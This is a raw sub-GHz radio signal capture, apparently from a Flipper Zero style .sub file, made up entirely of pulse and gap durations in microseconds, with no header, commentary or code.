139 -336 99 -366 121 -360 329 -122 369 -94 369 -98 369 -96 367 -94 123 -354 347 -132 333 -122 337 -126 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 371 -108 339 -128 95 -370 105 -368 127 -350 95 -370 129 -3710 105 -372 97 -364 123 -360 327 -120 371 -94 369 -96 337 -128 337 -124 123 -352 347 -134 331 -122 367 -96 121 -370 103 -366 93 -380 351 -104 141 -362 107 -334 373 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3710 105 -370 99 -362 123 -360 327 -122 369 -96 369 -96 337 -128 337 -124 123 -352 345 -134 331 -124 337 -126 121 -372 101 -368 91 -380 351 -102 143 -362 107 -336 369 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3704 125 -352 103 -368 125 -350 351 -102 339 -122 371 -94 369 -96 339 -126 127 -342 355 -142 335 -94 375 -94 121 -372 103 -368 91 -384 349 -104 141 -364 105 -336 371 -108 337 -128 97 -370 139 -334 125 -352 93 -372 129 -541752 157 -340 133 -366 91 -380 319 -134 335 -124 341 -126 337 -130 337 -128 125 -348 353 -138 301 -124 345 -126 121 -372 101 -368 93 -380 319 -134 141 -362 105 -334 371 -106 337 -128 97 -384 91 -378 101 -368 93 -382 95 -3738 103 -340 139 -334 123 -356 327 -124 383 -106 359 -108 337 -128 319 -124 121 -372 353 -106 345 -104 365 -92 139 -340 129 -358 93 -392 327 -122 121 -348 139 -334 369 -106 337 -130 95 -384 91 -378 103 -368 91 -382 95 -3742 103 -342 137 -336 121 -358 327 -122 387 -106 361 -106 337 -94 349 -124 121 -372 353 -106 345 -138 331 -94 139 -340 127 -360 93 -370 349 -132 103 -360 141 -336 365 -106 337 -128 95 -370 141 -334 93 -384 93 -372 127 -3714 105 -338 127 -360 125 -360 327 -122 337 -128 337 -128 337 -128 335 -126 123 -346 349 -132 331 -124 337 -126 123 -338 133 -366 91 -380 351 -104 141 -362 105 -336 369 -108 337 -128 97 -382 91 -378 103 -366 93 -382 93 -3734 93 -380 -RAW_Data: 91 -378 103 -368 363 -108 337 -128 317 -126 369 -96 337 -128 127 -340 357 -140 335 -96 347 -124 121 -372 101 -368 93 -382 349 -104 141 -364 103 -336 373 -106 337 -128 97 -382 93 -378 103 -366 93 -382 95 -3738 103 -378 103 -336 123 -356 359 -92 389 -104 359 -106 345 -102 361 -92 141 -340 373 -106 339 -128 321 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 93 -380 95 -3740 103 -344 139 -334 123 -358 359 -90 387 -104 361 -108 337 -126 317 -126 121 -372 353 -104 347 -138 331 -94 139 -340 127 -360 93 -370 349 -132 103 -396 105 -334 367 -108 337 -126 97 -370 103 -370 93 -384 93 -372 129 -3704 93 -382 103 -368 93 -382 349 -104 337 -124 339 -128 337 -128 337 -128 127 -344 355 -140 333 -94 345 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 371 -106 339 -128 95 -384 93 -378 101 -366 93 -382 95 -3746 103 -340 137 -334 123 -354 359 -92 383 -106 359 -108 337 -130 319 -126 121 -372 351 -106 347 -140 331 -92 139 -342 127 -358 93 -372 349 -132 103 -394 105 -336 365 -108 337 -128 95 -370 139 -334 127 -352 93 -372 129 -3710 105 -370 97 -362 123 -360 329 -120 337 -128 369 -96 337 -128 335 -126 123 -350 347 -132 333 -122 337 -126 123 -338 133 -368 91 -380 349 -104 143 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 91 -382 95 -3734 93 -350 123 -376 139 -334 361 -108 339 -96 379 -94 369 -96 369 -96 125 -370 327 -140 337 -94 379 -94 121 -372 101 -370 123 -350 349 -104 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 93 -372 127 -3712 103 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -352 345 -134 331 -124 335 -128 121 -370 101 -368 93 -380 349 -104 143 -362 105 -336 371 -108 337 -128 95 -372 139 -336 123 -352 93 -372 127 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 337 -128 337 -124 125 -352 345 -134 331 -124 337 -126 121 -372 101 -366 93 -380 351 -102 143 -362 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 93 -372 129 -3706 105 -372 97 -364 123 -338 349 -134 333 -124 337 -126 337 -128 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 123 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 139 -336 99 -364 123 -360 327 -122 369 -94 369 -96 371 -94 -RAW_Data: 337 -126 123 -352 347 -134 331 -124 367 -96 121 -370 101 -368 93 -380 349 -104 141 -364 105 -336 371 -108 337 -128 95 -372 139 -334 125 -352 93 -372 129 -3710 105 -368 99 -362 123 -360 329 -120 369 -96 369 -96 337 -128 335 -126 123 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -362 107 -336 371 -108 337 -128 95 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -352 345 -134 331 -124 337 -126 121 -340 133 -366 93 -380 349 -104 143 -362 105 -336 371 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 123 -352 103 -368 125 -348 349 -104 339 -122 371 -94 369 -98 369 -94 127 -340 357 -142 335 -92 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -338 371 -108 339 -128 95 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -350 347 -132 333 -122 339 -126 123 -370 101 -368 91 -380 351 -104 141 -362 105 -334 373 -106 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3744 103 -342 137 -336 123 -358 357 -92 385 -106 361 -106 337 -128 317 -126 121 -372 353 -104 347 -138 331 -92 141 -340 129 -360 123 -340 349 -132 103 -396 105 -334 367 -108 335 -128 97 -368 141 -334 125 -354 93 -370 129 -3714 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -124 357 -106 139 -362 329 -92 379 -92 369 -98 123 -366 131 -330 123 -372 349 -104 141 -362 105 -336 371 -108 337 -128 95 -370 141 -334 125 -350 125 -340 129 -3706 123 -352 103 -370 123 -350 349 -104 339 -124 369 -96 369 -96 337 -128 125 -344 355 -142 335 -94 383 -106 105 -348 123 -372 95 -372 347 -92 125 -368 141 -334 367 -108 337 -128 95 -370 141 -336 123 -352 125 -340 127 -3708 139 -336 99 -364 123 -360 327 -122 369 -94 369 -96 371 -94 337 -126 123 -354 345 -134 331 -124 335 -128 121 -340 131 -368 91 -380 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -350 95 -370 129 -3704 125 -352 103 -368 125 -350 349 -104 337 -124 371 -94 369 -96 339 -126 127 -340 357 -140 335 -94 377 -94 121 -372 103 -368 123 -350 351 -104 141 -362 107 -336 371 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 371 -96 337 -128 337 -124 123 -352 347 -132 331 -124 369 -94 121 -372 -RAW_Data: 101 -368 91 -380 351 -102 143 -362 105 -336 373 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3704 125 -352 103 -370 123 -348 349 -104 339 -124 369 -96 369 -96 369 -96 125 -372 325 -142 335 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -106 337 -130 95 -384 91 -380 101 -368 91 -382 95 -3736 101 -382 105 -336 123 -354 359 -92 377 -94 369 -96 369 -96 369 -94 125 -370 359 -94 357 -94 367 -128 91 -368 131 -334 121 -376 351 -102 143 -362 107 -336 369 -108 339 -128 95 -368 141 -334 125 -352 93 -370 129 -3714 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 139 -360 329 -124 349 -94 369 -96 123 -368 129 -330 123 -376 317 -134 141 -362 103 -336 369 -108 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3746 103 -344 137 -334 123 -358 359 -90 387 -106 361 -106 339 -94 379 -94 121 -372 355 -106 347 -104 365 -94 139 -340 127 -358 125 -358 327 -124 119 -350 137 -336 369 -108 337 -130 95 -384 105 -368 97 -364 123 -338 129 -3710 139 -338 133 -334 121 -362 327 -122 369 -94 371 -96 369 -96 337 -124 125 -352 347 -132 333 -122 337 -126 123 -338 133 -368 91 -380 351 -104 141 -364 105 -334 371 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3708 139 -336 99 -364 123 -338 381 -102 335 -122 337 -128 337 -128 337 -128 125 -344 353 -142 335 -94 375 -94 121 -372 103 -366 125 -350 349 -104 143 -362 105 -336 373 -108 339 -128 95 -370 141 -334 125 -350 125 -340 129 -3708 105 -370 99 -364 123 -360 327 -122 369 -94 371 -96 369 -96 337 -124 125 -352 347 -132 331 -124 335 -128 121 -370 103 -366 93 -380 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -350 125 -340 129 -3704 125 -354 101 -370 123 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -342 357 -140 335 -94 377 -94 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3706 139 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 337 -126 123 -354 345 -134 331 -124 335 -128 121 -340 131 -368 93 -380 349 -104 143 -362 105 -336 371 -108 337 -128 95 -372 141 -334 125 -350 125 -340 129 -3710 105 -370 99 -364 123 -360 327 -122 369 -94 371 -96 337 -126 337 -126 123 -352 347 -132 331 -124 367 -96 121 -370 101 -368 93 -380 351 -102 143 -362 105 -336 373 -108 -RAW_Data: 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 369 -96 337 -124 123 -354 347 -132 333 -122 339 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3742 103 -378 103 -336 123 -356 359 -92 375 -94 369 -98 369 -96 369 -94 123 -356 347 -132 331 -124 369 -94 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3708 105 -370 99 -362 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -104 141 -362 107 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3710 105 -372 99 -362 123 -360 327 -122 369 -94 369 -96 369 -96 337 -126 123 -352 347 -132 333 -122 337 -126 123 -338 133 -368 91 -380 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3704 141 -336 99 -366 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -382 351 -102 141 -364 103 -336 373 -106 337 -130 95 -382 93 -378 103 -366 93 -382 95 -3734 95 -380 121 -348 139 -334 363 -108 339 -96 379 -94 369 -96 371 -94 127 -338 359 -140 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3712 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 371 -94 337 -126 123 -354 345 -134 331 -124 335 -128 121 -370 101 -368 93 -380 349 -104 141 -364 105 -336 371 -108 337 -128 95 -382 91 -380 101 -368 125 -348 125 -3702 127 -346 141 -336 133 -330 349 -140 335 -94 375 -94 369 -96 369 -96 125 -372 327 -140 337 -94 379 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -380 107 -370 97 -362 123 -338 129 -3706 125 -358 139 -334 123 -352 347 -104 339 -124 371 -94 369 -96 371 -94 127 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -104 143 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 91 -384 95 -3740 103 -378 105 -336 123 -356 359 -90 391 -106 361 -106 345 -102 361 -92 139 -340 373 -108 339 -128 351 -94 121 -372 137 -334 123 -352 349 -104 143 -362 105 -338 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3704 -RAW_Data: 123 -354 139 -334 123 -350 351 -104 337 -124 371 -94 369 -98 369 -96 125 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -102 143 -362 105 -338 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3710 105 -370 97 -364 123 -360 329 -122 367 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -104 141 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -338 127 -3708 123 -354 137 -334 125 -350 349 -104 339 -122 341 -126 337 -130 337 -128 125 -344 355 -138 335 -94 347 -124 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 373 -106 339 -128 97 -382 93 -378 103 -368 91 -382 93 -3748 103 -342 137 -336 123 -358 357 -92 387 -106 361 -108 337 -96 377 -94 121 -372 355 -106 347 -104 363 -92 139 -342 127 -360 125 -338 347 -134 103 -360 143 -334 367 -108 337 -128 95 -372 139 -334 125 -352 125 -338 129 -3712 105 -370 99 -364 123 -360 327 -122 367 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 139 -336 133 -332 123 -360 329 -122 369 -94 369 -96 369 -96 369 -94 123 -354 345 -134 331 -124 367 -96 121 -370 103 -366 93 -380 349 -104 143 -362 105 -338 371 -108 337 -128 95 -372 139 -336 123 -352 125 -340 129 -3710 105 -370 99 -362 123 -360 329 -120 369 -96 369 -96 369 -96 337 -126 123 -354 345 -132 333 -122 369 -94 121 -372 101 -368 123 -348 351 -102 143 -362 105 -336 373 -108 339 -128 95 -372 139 -336 123 -352 125 -338 129 -3706 139 -338 133 -332 123 -338 379 -104 333 -124 367 -96 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -352 349 -104 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3708 141 -336 99 -364 123 -360 327 -122 369 -94 369 -98 369 -96 367 -94 123 -354 347 -132 333 -122 369 -94 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -352 125 -338 129 -3708 141 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 345 -134 331 -122 369 -96 121 -370 101 -368 93 -380 351 -102 143 -362 107 -336 371 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3708 141 -336 99 -362 123 -360 329 -122 369 -94 369 -98 -RAW_Data: 369 -96 367 -94 123 -354 345 -134 331 -122 369 -96 121 -370 101 -368 125 -348 351 -102 143 -362 107 -336 371 -108 339 -128 95 -370 139 -336 125 -350 95 -370 129 -3706 141 -336 133 -332 123 -338 379 -104 335 -122 369 -94 369 -98 337 -126 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 373 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3736 95 -378 105 -370 99 -364 349 -140 335 -94 375 -94 369 -96 369 -96 125 -340 357 -142 335 -94 379 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 95 -370 129 -3716 105 -338 129 -362 123 -360 327 -122 369 -94 337 -128 339 -126 337 -126 123 -352 347 -132 331 -124 337 -128 121 -370 101 -366 93 -380 351 -104 141 -362 105 -334 373 -106 339 -128 97 -382 105 -370 97 -362 123 -340 127 -3712 139 -338 133 -334 121 -360 329 -122 371 -94 369 -96 369 -96 337 -126 123 -352 347 -132 333 -124 337 -128 121 -370 101 -368 91 -382 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3734 125 -346 123 -350 139 -334 363 -110 339 -94 381 -94 369 -96 369 -96 125 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 127 -3706 139 -336 133 -332 123 -360 329 -122 369 -94 371 -96 369 -96 367 -94 123 -354 347 -132 333 -122 337 -128 121 -370 101 -368 91 -384 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3736 95 -380 91 -378 139 -334 363 -108 339 -94 379 -94 369 -98 369 -96 125 -340 357 -142 335 -94 379 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 95 -372 141 -334 125 -350 125 -340 129 -3706 141 -336 133 -332 123 -338 379 -104 335 -122 337 -128 369 -96 337 -128 125 -342 355 -142 335 -94 375 -94 121 -372 103 -368 123 -350 351 -102 143 -362 105 -336 373 -108 339 -128 95 -372 105 -370 93 -384 93 -372 129 -3712 107 -338 129 -362 123 -360 327 -122 359 -106 361 -106 339 -124 357 -106 139 -362 329 -124 347 -94 369 -96 125 -366 129 -332 123 -372 351 -102 143 -362 105 -336 369 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3704 125 -354 139 -332 125 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -340 359 -140 337 -94 377 -94 -RAW_Data: 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 373 -108 339 -128 97 -372 139 -334 125 -350 95 -370 129 -3712 105 -370 99 -362 123 -360 329 -120 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 331 -124 367 -96 121 -372 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3712 105 -372 97 -364 123 -360 327 -122 357 -106 359 -108 339 -126 339 -126 123 -370 355 -104 345 -104 365 -92 139 -340 127 -360 125 -358 329 -122 119 -352 139 -336 371 -106 339 -128 97 -382 91 -378 101 -368 125 -348 127 -3704 103 -382 103 -338 123 -386 325 -124 349 -94 367 -96 371 -96 367 -94 125 -358 345 -134 333 -122 369 -96 121 -370 101 -368 125 -348 351 -104 141 -362 105 -336 373 -108 339 -128 95 -382 93 -376 103 -368 93 -382 125 -3710 103 -380 103 -336 123 -356 359 -90 377 -94 369 -96 369 -96 369 -94 125 -370 359 -96 355 -94 367 -128 91 -368 131 -332 123 -378 349 -104 141 -362 107 -336 369 -108 339 -126 97 -370 141 -334 125 -352 125 -338 129 -3706 125 -354 137 -334 125 -350 349 -104 339 -122 371 -94 369 -96 371 -94 127 -338 359 -140 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3704 123 -356 139 -334 123 -352 349 -104 339 -122 371 -94 369 -98 369 -96 125 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3712 105 -370 99 -364 123 -360 327 -122 369 -94 369 -96 369 -96 337 -126 123 -352 347 -132 333 -122 339 -126 123 -370 101 -368 91 -382 351 -102 141 -364 103 -336 371 -108 337 -128 97 -382 105 -370 97 -362 123 -338 129 -3710 139 -340 135 -332 123 -360 329 -122 357 -104 395 -108 305 -126 351 -140 105 -360 333 -126 351 -94 369 -128 93 -366 131 -332 121 -378 317 -134 141 -360 105 -336 371 -106 337 -128 97 -382 91 -380 103 -368 91 -382 95 -3746 103 -378 103 -336 121 -374 349 -102 337 -122 357 -106 359 -142 303 -126 139 -342 351 -124 355 -104 335 -124 121 -352 139 -334 125 -356 351 -102 143 -362 105 -336 375 -106 339 -128 97 -374 105 -368 93 -384 95 -370 129 -3716 107 -336 129 -362 123 -360 327 -122 369 -94 369 -98 337 -128 337 -124 123 -352 347 -132 333 -122 339 -126 123 -370 101 -366 91 -382 351 -102 141 -362 105 -336 -RAW_Data: 371 -108 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3708 123 -360 139 -334 125 -350 349 -104 339 -124 371 -94 369 -96 369 -96 125 -372 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 101 -368 93 -384 93 -3738 101 -382 105 -336 123 -356 359 -92 377 -94 369 -96 369 -98 367 -94 125 -370 327 -128 355 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -364 105 -336 371 -106 339 -126 97 -370 141 -334 125 -352 125 -340 129 -3706 139 -338 133 -330 123 -340 379 -102 335 -122 369 -96 369 -96 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 103 -368 125 -350 351 -102 143 -362 105 -336 375 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3708 139 -338 97 -366 123 -360 327 -122 369 -96 369 -96 369 -96 367 -94 125 -352 347 -132 333 -122 337 -128 121 -340 133 -366 93 -380 349 -104 143 -362 105 -336 373 -108 337 -128 95 -372 141 -334 125 -352 93 -370 129 -3712 105 -370 99 -364 123 -360 327 -120 359 -104 359 -108 371 -94 373 -94 121 -370 355 -106 345 -104 365 -92 139 -340 129 -360 123 -360 327 -124 119 -350 139 -336 369 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3746 101 -378 103 -336 123 -356 359 -92 375 -94 391 -104 359 -108 335 -92 139 -342 377 -108 337 -130 351 -94 119 -372 139 -332 125 -350 351 -104 141 -364 105 -336 373 -108 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3742 103 -346 139 -336 123 -360 359 -90 391 -106 361 -108 337 -94 377 -94 121 -370 355 -104 347 -106 365 -92 139 -340 127 -360 125 -338 347 -134 139 -324 143 -336 367 -106 337 -128 95 -372 139 -334 125 -352 125 -340 129 -3704 125 -354 139 -334 123 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3716 105 -370 97 -362 123 -360 327 -122 359 -104 359 -108 341 -124 355 -140 105 -360 331 -126 349 -92 369 -96 123 -368 129 -334 121 -376 349 -104 141 -362 107 -336 369 -108 337 -128 95 -372 139 -336 123 -352 125 -340 129 -3714 103 -372 97 -364 123 -360 327 -122 369 -94 369 -98 369 -96 335 -126 123 -354 345 -134 331 -124 337 -126 121 -340 133 -366 93 -380 349 -104 143 -362 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 93 -372 -RAW_Data: 127 -3712 141 -336 99 -364 121 -360 329 -120 361 -106 359 -108 339 -124 357 -106 141 -360 329 -126 347 -94 369 -96 123 -368 129 -330 123 -374 351 -102 141 -362 107 -336 369 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3714 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 371 -94 369 -94 123 -354 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3710 139 -338 97 -366 123 -338 381 -102 335 -122 369 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 125 -350 351 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 129 -3708 139 -338 97 -366 123 -360 327 -122 369 -94 369 -96 369 -96 369 -94 123 -354 347 -132 331 -124 369 -94 123 -370 101 -368 91 -382 349 -104 143 -362 105 -336 373 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3706 141 -338 133 -330 123 -340 379 -102 335 -122 369 -94 369 -98 337 -126 127 -340 357 -142 333 -94 379 -92 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 125 -340 129 -3710 139 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 367 -94 125 -352 347 -132 333 -122 369 -96 121 -370 101 -368 93 -380 351 -104 141 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 129 -3702 125 -356 139 -334 123 -350 349 -104 339 -124 371 -94 369 -96 369 -96 125 -342 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -104 141 -364 105 -336 373 -106 339 -128 97 -372 141 -334 125 -350 93 -372 129 -3708 123 -352 103 -370 123 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -340 357 -142 335 -94 379 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -338 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 127 -3706 125 -354 139 -334 125 -350 349 -104 339 -124 369 -96 369 -96 369 -96 125 -340 357 -142 335 -96 377 -94 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 371 -108 339 -128 95 -384 91 -378 101 -368 125 -348 125 -3716 101 -380 103 -336 123 -374 349 -104 335 -124 357 -106 359 -108 339 -124 143 -342 351 -92 383 -102 335 -124 121 -352 139 -336 127 -354 351 -102 143 -362 105 -338 373 -108 339 -128 95 -372 141 -334 125 -352 125 -338 129 -3704 123 -356 139 -334 125 -350 349 -104 339 -122 -RAW_Data: 371 -94 369 -96 369 -96 127 -338 359 -140 335 -96 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -338 373 -108 337 -128 97 -370 139 -334 125 -354 93 -372 127 -3716 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -126 355 -106 139 -362 329 -126 347 -94 369 -96 125 -366 129 -332 123 -374 349 -102 143 -362 105 -336 371 -108 337 -128 95 -372 141 -334 125 -350 125 -340 127 -3706 125 -354 139 -334 125 -350 349 -104 339 -122 371 -96 369 -96 369 -96 125 -342 355 -140 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -336 373 -108 339 -130 95 -370 105 -370 93 -384 93 -370 129 -3708 139 -338 133 -330 123 -338 381 -102 335 -124 367 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -338 371 -108 339 -128 95 -352 123 -378 101 -370 123 -350 125 -3708 103 -380 105 -336 123 -354 361 -92 377 -94 369 -96 369 -96 369 -94 125 -368 359 -96 359 -124 337 -128 91 -368 131 -334 123 -378 349 -102 141 -362 105 -336 371 -106 339 -128 95 -384 91 -380 101 -368 93 -382 93 -3736 95 -378 123 -348 139 -334 363 -110 339 -94 381 -94 367 -98 369 -96 125 -370 361 -108 335 -96 379 -94 121 -372 101 -370 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 95 -382 107 -368 97 -362 123 -340 127 -3714 139 -338 135 -332 123 -360 327 -122 371 -94 369 -96 369 -96 339 -124 125 -354 347 -132 333 -122 339 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 373 -108 337 -128 97 -382 91 -380 101 -368 93 -382 95 -3736 103 -382 105 -336 123 -354 359 -92 377 -94 369 -130 337 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -336 369 -108 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3714 139 -338 135 -332 123 -338 381 -102 335 -122 339 -126 337 -128 339 -128 125 -344 355 -140 333 -94 377 -96 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3746 101 -380 105 -336 123 -354 357 -92 377 -94 369 -96 369 -98 369 -94 125 -370 327 -126 357 -124 337 -128 93 -368 131 -332 123 -378 349 -104 141 -360 107 -336 369 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3736 135 -350 105 -338 123 -352 359 -124 347 -94 369 -96 371 -96 369 -94 123 -368 359 -98 359 -122 -RAW_Data: 337 -130 91 -368 131 -334 121 -378 351 -102 141 -362 105 -336 371 -106 337 -128 97 -382 93 -378 101 -368 93 -382 93 -3738 137 -348 105 -336 123 -352 359 -124 349 -94 369 -96 369 -96 369 -96 125 -368 329 -126 357 -124 337 -128 93 -368 131 -332 123 -378 349 -102 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3746 103 -344 139 -336 121 -342 381 -102 337 -124 357 -106 359 -108 337 -126 141 -342 351 -92 385 -104 333 -124 121 -352 139 -336 125 -356 349 -104 141 -362 105 -338 375 -108 337 -128 97 -382 93 -378 101 -368 91 -384 93 -3742 101 -382 105 -336 123 -352 359 -92 377 -94 369 -128 339 -96 369 -94 125 -368 329 -126 359 -122 339 -128 91 -368 131 -334 123 -378 349 -102 141 -362 105 -336 371 -108 337 -128 95 -384 91 -378 103 -368 91 -384 93 -3742 101 -382 105 -336 121 -356 359 -92 377 -124 339 -128 337 -130 305 -158 93 -370 327 -126 357 -124 339 -128 91 -368 131 -364 91 -378 319 -134 105 -396 105 -336 369 -106 337 -130 97 -384 91 -380 101 -366 93 -384 95 -3732 95 -380 105 -370 99 -364 351 -140 333 -94 345 -126 369 -96 337 -128 127 -340 357 -140 337 -94 347 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 373 -106 337 -130 95 -382 105 -370 97 -362 125 -338 127 -3712 139 -338 137 -332 123 -360 357 -92 391 -106 361 -106 337 -94 383 -106 105 -348 343 -132 335 -124 337 -126 123 -370 101 -368 91 -382 351 -104 141 -362 105 -336 373 -106 337 -128 97 -382 91 -380 101 -370 91 -384 93 -3736 125 -346 123 -350 139 -334 363 -110 337 -128 319 -126 369 -96 337 -128 125 -372 327 -140 335 -96 379 -94 121 -372 101 -368 125 -352 349 -104 141 -362 105 -336 373 -108 337 -128 97 -382 93 -376 103 -368 93 -382 93 -3744 101 -380 105 -336 123 -354 359 -90 377 -94 369 -96 371 